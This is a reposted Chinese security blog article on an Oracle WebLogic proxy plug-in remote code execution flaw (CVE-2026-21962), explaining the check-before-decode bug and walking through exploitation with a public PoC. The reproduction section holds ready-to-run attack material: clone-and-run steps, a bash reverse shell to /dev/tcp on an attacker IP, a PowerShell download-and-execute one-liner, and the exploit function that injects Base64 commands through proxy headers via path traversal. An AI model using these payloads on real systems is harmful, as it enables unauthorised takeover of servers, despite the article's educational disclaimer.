CVE-2026-21962WeblogicRCE漏洞(复现)

admin 2026-03-03 04:15:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了OracleWebLogic的CVE-2026-21962漏洞,该漏洞CVSS评分10.0,源于代理插件先校验后解码的逻辑缺陷,导致攻击者可绕过验证实现远程代码执行。文中详细阐述了漏洞原理、攻击链路,并提供了公开PoC工具的复现步骤与代码解析,覆盖多平台利用方式。建议受影响版本如12.2.1.4.0等立即更新补丁,严防未经授权的攻击。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,渗透测试,漏洞预警


cover_image

CVE-2026-21962 Weblogic RCE漏洞(复现)

。。 。。

船山信安

2026年2月27日 12:14 广东

CVE-2026-21962漏洞深度剖析与复现实战

    2026年1月20日,Oracle发布了年度首个关键补丁更新(CPU Jan 2026),一个CVSS评分高达10.0的“满分”漏洞,正威胁着大量部署Oracle WebLogic中间件的企业。

    这个编号为 CVE-2026-21962 的漏洞,并非简单的权限绕过,而是一个可直接实现 远程命令执行(RCE)。攻击者无需任何身份凭证,仅需构造一个HTTP请求,就能绕过所有安全校验,直接控制目标服务器。


一、漏洞核心

    漏洞的根本原因,出在WebLogic Server代理插件(Proxy Plug-in)处理HTTP请求时的逻辑顺序错误上。

    这个插件作为前端Web服务器(Apache/IIS)与后端WebLogic的桥梁,其标准安全流程应该是:先对请求URL进行完整解码和规范化,再执行访问控制校验。然而,在受影响的版本中,这一顺序被完全颠倒:插件先进行安全校验,后进行URL解码

    攻击者可以先将真正的敏感路径(如 /console)进行双重URL编码(例如变为 %2561%2564%256D%2569%256E)。此时,插件解析是一个无害的编码字符串,轻松通过了安全校验。校验通过后,插件才对URL进行解码,还原出真实的敏感路径并转发给后端。此时,后端服务已无任何防护,攻击者瞬间获得未授权访问权限,为后续执行任意命令打开了大门。


二、攻击链路

完整的攻击路径清晰且致命:

  1. 1. 目标探测:扫描WebLogic默认端口(如7001)和常见代理路径,确认目标版本。
  2. 2. 构造恶意请求
  • • URL:使用路径遍历技术 ..;/ 访问内部ProxyServlet
  • • HTTP头:在 WL-Proxy-Client-IPX-Forwarded-For 等头部中,注入Base64编码的命令Payload(如 cmd:whoami
  1. 3. 发送请求:将精心伪造的HTTP包发送至目标。
  2. 4. 绕过校验:插件因先校验后解码的逻辑缺陷,放行了恶意请求。
  3. 5. 解码与触发:插件解码URL,并在转发过程中解析并执行了HTTP头中的命令Payload。
  4. 6. 远程控制:攻击者获得服务器控制权,可执行任意命令,甚至建立反向Shell进行持久化控制。

三、漏洞复现实战:利用公开PoC工具

     目前已有完整的PoC利用脚本在技术社区公开,支持自动化检测与命令执行。下面详细介绍如何使用该工具进行漏洞复现。

3.1 环境准备

工具地址https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git

环境要求

  • • Python 3.x
  • • requests库
  • • 支持Linux、macOS、Windows

安装步骤

# 克隆项目
git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git
cd Ashwesker-CVE-2026-21962

# 安装依赖
pip install requests

# 设置执行权限(可选)
chmod +x CVE-2026-21962.py

# 验证安装
python3 CVE-2026-21962.py --help

3.2 基础使用

基本语法

python3 CVE-2026-21962.py <target_url>&nbsp;"<command>"

参数说明

  • • target_url:目标URL(例如 http://target:7001 或 https://oracle-server:4443
  • • command:要执行的命令(如 idwhoami 或反向Shell命令)

3.3 复现示例

示例1:基本信息收集

python3 CVE-2026-21962.py http://192.168.1.100:7001&nbsp;"id && whoami && uname -a"

预期输出

[*] 目标URL: http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[*] 执行命令: id && whoami && uname -a
[*] 尝试路径: http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] 可能成功!状态码: 200

可能的命令输出/响应:
------------------------------------------------------------
uid=1001(weblogic) gid=1001(weblogic) groups=1001(weblogic)
weblogic
Linux target-server 5.4.0-26-generic&nbsp;#30-Ubuntu SMP ...
------------------------------------------------------------

示例2:获取文件系统信息

python3 CVE-2026-21962.py http://192.168.1.100:7001&nbsp;"ls -la /etc/passwd"

示例3:反向Shell(Linux目标)

攻击机监听

nc -lvnp 4444

执行漏洞利用

python3 CVE-2026-21962.py http://192.168.1.100:7001&nbsp;"bash -i >& /dev/tcp/192.168.1.200/4444 0>&1"

示例4:Windows目标利用

python3 CVE-2026-21962.py https://192.168.1.100:4443&nbsp;"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200/shell.ps1')"

3.4 核心代码解析

PoC工具的核心是利用函数,其关键逻辑如下:

def&nbsp;exploit(target_url, command):
&nbsp; &nbsp;&nbsp;# 漏洞利用端点(常见代理插件路径)
&nbsp; &nbsp; vuln_paths = ["/weblogic/",&nbsp;"/wl_proxy/",&nbsp;"/bea_wls_internal/",&nbsp;"/_proxy/",&nbsp;"/proxy/"]

&nbsp; &nbsp;&nbsp;# 构造Payload:cmd:命令 并进行Base64编码
&nbsp; &nbsp; payload =&nbsp;f"cmd:{command}"
&nbsp; &nbsp; encoded_payload = base64.b64encode(payload.encode()).decode()

&nbsp; &nbsp;&nbsp;# 恶意HTTP头部:多个头部注入Payload
&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"WL-Proxy-Client-IP":&nbsp;f"127.0.0.1;{encoded_payload}",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Proxy-Client-IP":&nbsp;f"127.0.0.1;{encoded_payload}",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Forwarded-For":&nbsp;f"127.0.0.1;{encoded_payload}",
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;# 特制URI:使用路径遍历访问内部ProxyServlet
&nbsp; &nbsp; uri =&nbsp;"/weblogic/..;/bea_wls_internal/ProxyServlet"

&nbsp; &nbsp;&nbsp;# 遍历所有路径进行尝试
&nbsp; &nbsp;&nbsp;for&nbsp;base_path&nbsp;in&nbsp;vuln_paths:
&nbsp; &nbsp; &nbsp; &nbsp; full_url =&nbsp;f"{target_url.rstrip('/')}{base_path}{uri}"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(full_url, headers=headers, timeout=12, verify=False)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;r.status_code&nbsp;in&nbsp;[200,&nbsp;302,&nbsp;500]:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(r.text[:1500]) &nbsp;# 显示命令输出
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnTrue
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 错误:&nbsp;{e}")
&nbsp; &nbsp;&nbsp;return&nbsp;False

关键技术点

  • • 路径遍历/weblogic/..;/bea_wls_internal/ProxyServlet 绕过权限校验
  • • 多头部注入:同时使用三个代理相关头部提高成功率
  • • Base64编码:绕过WAF对敏感命令的检测
  • • 多路径探测:自动尝试5个常见代理路径

3.5 输出结果判断

| 状态码 | 含义 | 处理方式 | | — | — | — | | 200 | 请求成功 | 显示响应内容(可能含命令输出) | | 302 | 重定向 | 可能成功,需检查响应头 | | 500 | 服务器内部错误 | 可能是命令执行导致的异常 | | 其他 | 失败或无漏洞 | 继续尝试其他路径 |

注意事项

  • • 目标端口:WebLogic默认7001,HTTPS默认4443
  • • SSL证书:测试环境建议添加 verify=False
  • • 静默执行:若命令无回显,工具会提示“命令静默执行”

四、影响范围:全行业拉响警报

| 项目 | 核心详情 | | — | — | | 漏洞编号 | CVE-2026-21962 | | CVSS 3.1评分 | 10.0(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) | | 影响组件 | Oracle WebLogic Server Proxy Plug-in(Apache/IIS版本) | | 受影响版本 | 12.2.1.4.0、14.1.1.0.0、14.1.2.0.0 | | 联动影响 | Oracle HTTP Server对应版本同样受影响 | | 覆盖行业 | 金融、政务、能源、电商等所有依赖WebLogic的核心行业 |

    特别是银行、证券等金融机构,因业务系统高度依赖WebLogic,成为攻击者的首要目标。


五、利用现状:PoC已公开

截至1月底,完整的PoC利用脚本已在技术社区公开。该脚本功能强大,支持:

  • • 自动化检测与多路径探测(/weblogic//bea_wls_internal/等)。
  • • 跨平台利用(Linux/Windows),可自动适配 bash 或 PowerShell 命令。
  • • 多种WAF绕过技术(Base64编码、多头部注入)。

最后的话

⚠️ 重要提示:本文提供的PoC工具及复现步骤仅用于授权环境下的安全研究与教学。未经授权对他人系统进行测试属于违法行为,请严格遵守法律法规。


参考资料:

  1. 《满分高危来袭!CVE-2026-21962击穿Oracle WebLogic代理插件》

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 。。 。。《CVE-2026-21962 Weblogic RCE漏洞(复现)》

评论:0   参与:  0